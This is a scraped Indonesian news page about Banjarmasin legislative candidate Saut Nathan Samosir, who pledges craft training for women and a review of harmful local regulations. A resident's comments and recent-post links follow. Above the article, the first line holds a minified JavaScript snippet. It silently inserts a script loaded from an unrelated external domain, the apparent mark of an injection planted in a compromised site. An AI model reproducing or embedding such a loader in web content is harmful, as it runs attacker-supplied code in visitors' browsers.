(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Politik Jadi Ladang Pengabdian


BANJARMASIN, Calon Anggota Legislatif (Caleg) Kota Banjarmasin Dapil Banjarmasin Barat dari PDIP Saut Nathan Samosir punya komitmen politik sebagai lahan pengabdian.

Hal tersebut diungkapkannya saat bersilaturahmi dengan ratusan warga, Kamis (14/2/2019) di Teluk Tiram Laut RT 31 RW 02, Kelurahan Teluk Tiram, Kecamatan Banjarmasin Barat Kota Banjarmasin.

“Saya terpanggil ke politik ini karena ingin menjadikannya sebagai ladang pengabdian. Karena saya melihat banyak sekali permasalahan yang dihadapi masyarakat yang bisa diselesaikan jika menjadi wakil rakyat,” tegas Owner Ekspedisi Lintas Jawa Group tersebut.

Ada pun jika terpilih kelak, berbagai permasalahan masyarakat yang akan menjadi perhatian, diantaranya masalah pemberdayaan ekonomi kaum hawa dan memastikan kehadiran Perda yang membela kepentingan masyarakat.

“Misalnya terkait pemberdayaan ekonomi kaum hawa. Saya punya komitmen jika terpilih kelak akan coba merangkul dinas dan organisasi tertentu agar bisa memberikan pelatihan pembuatan kerajinan bagi kaum hawa agar mereka bisa mendapatkan tambahan penghasilan,” bebernya.

Lalu terkait Perda, banyak sekali menurut Samosir Perda yang awal penerapan diharapkan dapat membantu masyarakat, namun malah merugikan. Karena itulah jika terpilih kelak ia akan berusaha untuk memperjuangkan agar Perda tersebut bisa ditinjau ulang.

“Prinsip saya sekali lagi ingin menjadikan politik sebagai sarana untuk membantu banyak orang. Kalau untuk mencari pekerjaan sudah cukup bagi saya dengan menjadi seorang pengusaha ekspedisi hingga sekarang,” tambahnya.

Sementara itu, salah warga Teluk Tiram Laut RT 31 Abu Bakar mengaku senang bisa bersilaturahmi langsung dengan Saut Nathan Samosir, salah satu Caleg yang mencalonkan diri di Dapil Banjarmasin Barat.

Ada pun permasalahan yang terjadi di daerahnya, yakni tidak adanya pemberdayaan ekonomi bagi kaum hawa maupun masalah yang terkait masalah lingkungan.

“Kalau masalah pemberdayaan ekonomi bagi kaum hawa ini kami sangat setuju dengan beliau. Kalau ibu rumah tangga dilatih membuat kerajinan tangan, maka mereka bisa menambah pendapatan untuk keluarganya,” pungkasnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

2 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

3 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

18 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

19 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

19 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

21 jam ago

This website uses cookies.